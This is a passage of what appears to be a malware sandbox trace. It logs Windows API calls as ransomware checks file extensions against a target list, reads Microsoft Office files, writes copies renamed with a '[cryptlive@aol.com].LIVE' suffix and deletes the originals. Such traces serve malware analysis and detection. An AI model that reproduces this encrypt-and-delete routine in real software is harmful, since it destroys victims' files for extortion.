(lpString1=".dbf", lpString2=".HXT") returned -1 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString=".1cd") returned 4 [0146.020] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.020] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.020] lstrlenW (lpString=".jpg") returned 4 [0146.020] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString=".doc") returned 4 [0146.021] lstrcmpiW (lpString1=".doc", lpString2=".HXT") returned -1 [0146.021] lstrlenW (lpString=".docx") returned 5 [0146.021] lstrcmpiW (lpString1=".docx", lpString2="L.HXT") returned -1 [0146.021] lstrlenW (lpString=".pdf") returned 4 [0146.021] lstrcmpiW (lpString1=".pdf", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString=".xls") returned 4 [0146.021] lstrcmpiW (lpString1=".xls", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString=".xlsx") returned 5 [0146.021] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXT") returned -1 [0146.021] lstrlenW (lpString=".ppt") returned 4 [0146.021] lstrcmpiW (lpString1=".ppt", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString=".zip") returned 4 [0146.021] lstrcmpiW (lpString1=".zip", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString=".rar") returned 4 [0146.021] lstrcmpiW (lpString1=".rar", lpString2=".HXT") returned 1 [0146.021] lstrlenW (lpString=".bz2") returned 4 [0146.021] lstrcmpiW (lpString1=".bz2", lpString2=".HXT") returned -1 [0146.021] lstrlenW (lpString=".7z") returned 3 [0146.021] lstrcmpiW (lpString1=".7z", lpString2="HXT") returned -1 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString=".dbf") returned 4 [0146.021] lstrcmpiW (lpString1=".dbf", lpString2=".HXT") returned -1 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString=".1cd") returned 4 [0146.021] lstrcmpiW (lpString1=".1cd", lpString2=".HXT") returned -1 [0146.021] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_COL.HXT") returned 63 [0146.021] lstrlenW (lpString=".jpg") returned 4 [0146.021] lstrcmpiW (lpString1=".jpg", lpString2=".HXT") returned 1 [0146.022] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.022] lstrlenW (lpString="SETLANG_F_COL.HXK") returned 17 [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.022] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=114) returned 1 [0146.022] CloseHandle (hObject=0x3dc) returned 1 [0146.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 0x20 [0146.022] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.022] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.023] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.023] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.023] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.024] GetLastError () returned 0x0 [0146.024] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x72, lpOverlapped=0x0) returned 1 [0146.025] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.026] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.026] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.026] SetEndOfFile (hFile=0x390) returned 1 [0146.026] CloseHandle (hObject=0x390) returned 1 [0146.026] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.026] SetEndOfFile (hFile=0x3dc) returned 1 [0146.029] CloseHandle (hObject=0x3dc) returned 1 [0146.029] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.029] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_f_col.hxk")) returned 1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".doc") returned 4 [0146.031] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.031] lstrlenW (lpString=".docx") returned 5 [0146.031] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.031] lstrlenW (lpString=".pdf") returned 4 [0146.031] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString=".xls") returned 4 [0146.031] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString=".xlsx") returned 5 [0146.031] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.031] lstrlenW (lpString=".ppt") returned 4 [0146.031] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".zip") returned 4 [0146.031] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString=".rar") returned 4 [0146.031] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString=".bz2") returned 4 [0146.031] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.031] lstrlenW (lpString=".7z") returned 3 [0146.031] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".dbf") returned 4 [0146.031] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".1cd") returned 4 [0146.031] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".jpg") returned 4 [0146.031] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.031] lstrlenW (lpString=".doc") returned 4 [0146.032] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.032] lstrlenW (lpString=".docx") returned 5 [0146.032] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.032] lstrlenW (lpString=".pdf") returned 4 [0146.032] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.032] lstrlenW (lpString=".xls") returned 4 [0146.032] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.032] lstrlenW (lpString=".xlsx") returned 5 [0146.032] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.032] lstrlenW (lpString=".ppt") returned 4 [0146.032] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.032] lstrlenW (lpString=".zip") returned 4 [0146.032] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.032] lstrlenW (lpString=".rar") returned 4 [0146.032] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.032] lstrlenW (lpString=".bz2") returned 4 [0146.032] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.032] lstrlenW (lpString=".7z") returned 3 [0146.032] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.032] lstrlenW (lpString=".dbf") returned 4 [0146.032] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.032] lstrlenW (lpString=".1cd") returned 4 [0146.032] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.032] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_F_COL.HXK") returned 65 [0146.032] lstrlenW (lpString=".jpg") returned 4 [0146.032] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.032] lstrcmpiW (lpString1=".HXK", lpString2=".LIVE") returned -1 [0146.032] lstrlenW (lpString="SETLANG_K_COL.HXK") returned 17 [0146.033] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.034] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=113) returned 1 [0146.034] CloseHandle (hObject=0x3dc) returned 1 [0146.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 0x20 [0146.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.034] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.034] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.034] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0146.037] GetLastError () returned 0x0 [0146.037] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x71, lpOverlapped=0x0) returned 1 [0146.038] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0x80, lpOverlapped=0x0) returned 1 [0146.039] ReadFile (in: hFile=0x3dc, lpBuffer=0x3bc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0146.039] WriteFile (in: hFile=0x390, lpBuffer=0x3bc0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bc0020*, lpNumberOfBytesWritten=0x300fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0146.039] SetEndOfFile (hFile=0x390) returned 1 [0146.039] CloseHandle (hObject=0x390) returned 1 [0146.039] SetFilePointerEx (in: hFile=0x3dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0146.039] SetEndOfFile (hFile=0x3dc) returned 1 [0146.043] CloseHandle (hObject=0x3dc) returned 1 [0146.043] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0146.043] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\setlang_k_col.hxk")) returned 1 [0146.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.044] lstrlenW (lpString=".doc") returned 4 [0146.044] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.044] lstrlenW (lpString=".docx") returned 5 [0146.044] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.044] lstrlenW (lpString=".pdf") returned 4 [0146.044] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.044] lstrlenW (lpString=".xls") returned 4 [0146.044] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.044] lstrlenW (lpString=".xlsx") returned 5 [0146.044] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.044] lstrlenW (lpString=".ppt") returned 4 [0146.044] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.044] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.044] lstrlenW (lpString=".zip") returned 4 [0146.044] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.044] lstrlenW (lpString=".rar") returned 4 [0146.044] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString=".bz2") returned 4 [0146.045] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.045] lstrlenW (lpString=".7z") returned 3 [0146.045] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString=".dbf") returned 4 [0146.045] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString=".1cd") returned 4 [0146.045] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString=".jpg") returned 4 [0146.045] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString=".doc") returned 4 [0146.045] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0146.045] lstrlenW (lpString=".docx") returned 5 [0146.045] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0146.045] lstrlenW (lpString=".pdf") returned 4 [0146.045] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString=".xls") returned 4 [0146.045] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString=".xlsx") returned 5 [0146.045] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0146.045] lstrlenW (lpString=".ppt") returned 4 [0146.045] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.045] lstrlenW (lpString=".zip") returned 4 [0146.045] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString=".rar") returned 4 [0146.045] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0146.045] lstrlenW (lpString=".bz2") returned 4 [0146.045] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0146.045] lstrlenW (lpString=".7z") returned 3 [0146.046] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0146.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.046] lstrlenW (lpString=".dbf") returned 4 [0146.046] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0146.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.046] lstrlenW (lpString=".1cd") returned 4 [0146.046] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0146.046] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SETLANG_K_COL.HXK") returned 65 [0146.046] lstrlenW (lpString=".jpg") returned 4 [0146.046] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0146.046] lstrcmpiW (lpString1=".DLL", lpString2=".LIVE") returned -1 [0146.046] lstrlenW (lpString="SGRES.DLL") returned 9 [0146.046] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.047] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=68984) returned 1 [0146.047] CloseHandle (hObject=0x3dc) returned 1 [0146.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll")) returned 0x20 [0146.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0146.047] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString=".doc") returned 4 [0146.048] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString=".docx") returned 5 [0146.048] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.048] lstrlenW (lpString=".pdf") returned 4 [0146.048] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString=".xls") returned 4 [0146.048] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString=".xlsx") returned 5 [0146.048] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.048] lstrlenW (lpString=".ppt") returned 4 [0146.048] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString=".zip") returned 4 [0146.048] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString=".rar") returned 4 [0146.048] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString=".bz2") returned 4 [0146.048] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.048] lstrlenW (lpString=".7z") returned 3 [0146.048] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString=".dbf") returned 4 [0146.048] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString=".1cd") returned 4 [0146.048] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.048] lstrlenW (lpString=".jpg") returned 4 [0146.048] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.048] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString=".doc") returned 4 [0146.049] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString=".docx") returned 5 [0146.049] lstrcmpiW (lpString1=".docx", lpString2="S.DLL") returned -1 [0146.049] lstrlenW (lpString=".pdf") returned 4 [0146.049] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString=".xls") returned 4 [0146.049] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString=".xlsx") returned 5 [0146.049] lstrcmpiW (lpString1=".xlsx", lpString2="S.DLL") returned -1 [0146.049] lstrlenW (lpString=".ppt") returned 4 [0146.049] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString=".zip") returned 4 [0146.049] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString=".rar") returned 4 [0146.049] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0146.049] lstrlenW (lpString=".bz2") returned 4 [0146.049] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0146.049] lstrlenW (lpString=".7z") returned 3 [0146.049] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0146.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString=".dbf") returned 4 [0146.049] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0146.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString=".1cd") returned 4 [0146.049] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0146.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL") returned 57 [0146.049] lstrlenW (lpString=".jpg") returned 4 [0146.049] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0146.049] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".LIVE") returned -1 [0146.050] lstrlenW (lpString="SGRES.DLL.IDX_DLL") returned 17 [0146.050] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3dc [0146.050] GetFileSizeEx (in: hFile=0x3dc, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=11648) returned 1 [0146.050] CloseHandle (hObject=0x3dc) returned 1 [0146.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SGRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\sgres.dll.idx_dll")) returned 0x20 [0146.050] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft 